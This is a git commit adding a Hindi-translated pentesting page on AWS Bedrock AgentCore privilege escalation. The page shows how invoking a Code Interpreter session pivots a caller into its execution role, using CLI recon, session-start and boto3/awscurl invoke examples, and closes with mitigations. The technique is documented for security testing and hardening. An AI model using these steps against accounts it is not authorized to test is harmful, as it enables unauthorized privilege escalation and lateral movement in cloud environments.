Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2026-02-12 19:45:24 +00:00
parent 157d463b4f
commit 692b4e0054

View File

@@ -0,0 +1,112 @@
# AWS - Bedrock PrivEsc
{{#include ../../../../banners/hacktricks-training.md}}
## Amazon Bedrock AgentCore
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter एक managed execution environment है। **Custom Code Interpreters** को **`executionRoleArn`** के साथ कॉन्फ़िगर किया जा सकता है जो "code interpreter को AWS services तक पहुँचने की permissions प्रदान करता है"।
यदि कोई **lower-privileged IAM principal** किसी ऐसे Code Interpreter session को **start + invoke** कर सके जो कि एक **more privileged execution role** के साथ कॉन्फ़िगर हो, तो caller प्रभावी रूप से उस execution role की permissions में **pivot** कर सकता है (role scope के अनुसार lateral movement / privilege escalation)।
> [!NOTE]
> यह आमतौर पर एक **misconfiguration / excessive permissions** समस्या होती है (interpreter execution role को व्यापक permissions देना और/या invoke access को व्यापक रूप से देना)। AWS स्पष्ट रूप से चेतावनी देता है कि privilege escalation से बचने के लिए execution roles के पास उन identities की तुलना में **equal or fewer** privileges होने चाहिए जिन्हें invoke करने की अनुमति है।
#### Preconditions (सामान्य misconfiguration)
- एक **custom code interpreter** मौजूद है जिसके पास एक over-privileged **execution role** है (उदा.: संवेदनशील S3/Secrets/SSM या IAM-admin जैसी क्षमताओं तक पहुँच)।
- एक user (developer/auditor/CI identity) के पास permissions हैं:
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) user नए interpreters भी बना सकता है: `bedrock-agentcore:CreateCodeInterpreter` (यह उन्हें org guardrails पर निर्भर करते हुए एक नया interpreter configure करने देता है जिसमें execution role सेट किया जा सकता है)।
#### Recon (custom interpreters और execution role उपयोग की पहचान)
Interpreters की सूची (control-plane) और उनकी configuration की जाँच करें:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> create-code-interpreter कमांड `--execution-role-arn` का समर्थन करता है जो परिभाषित करता है कि interpreter के पास कौन से AWS permissions होंगे।
#### चरण 1 - एक session शुरू करें (यह `sessionId` लौटाता है, interactive shell नहीं)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
```
#### चरण 2 - कोड निष्पादन ट्रिगर करें (Boto3 or signed HTTPS)
`start-code-interpreter-session` से कोई **interactive python shell** उपलब्ध नहीं है। निष्पादन **InvokeCodeInterpreter** के माध्यम से होता है।
**विकल्प A - Boto3 उदाहरण (execute Python + verify identity):**
```python
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
```
यदि interpreter को execution role के साथ कॉन्फ़िगर किया गया है, तो `sts:GetCallerIdentity()` आउटपुट उस role की identity दिखाना चाहिए (न कि low-priv caller), जिससे pivot का प्रदर्शन होता है।
**विकल्प B - साइन किए गए HTTPS कॉल (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
```
#### प्रभाव
* **Lateral movement** उस AWS एक्सेस में जहाँ interpreter execution role की पहुँच है।
* **Privilege escalation** यदि interpreter execution role caller की तुलना में अधिक privileged है।
* पता लगाना कठिन हो सकता है अगर interpreter invocations के लिए CloudTrail data events सक्षम नहीं हैं (configuration के अनुसार invocations डिफ़ॉल्ट रूप से लॉग नहीं हो सकते)।
#### निवारण / कठोरकरण
* **Least privilege** को interpreter `executionRoleArn` पर लागू करें (इसे Lambda execution roles / CI roles की तरह मानें)।
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) और कौन sessions शुरू कर सकता है, इन्हें सीमित करें।
* अनुमोदित agent runtime roles को छोड़कर InvokeCodeInterpreter को deny करने के लिए **SCPs** का उपयोग करें (org-level enforcement आवश्यक हो सकता है)।
* जहाँ लागू हो AgentCore के लिए उपयुक्त **CloudTrail data events** सक्षम करें; अनपेक्षित invocations और session creation पर अलर्ट सेट करें।
## References
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
{{#include ../../../../banners/hacktricks-training.md}}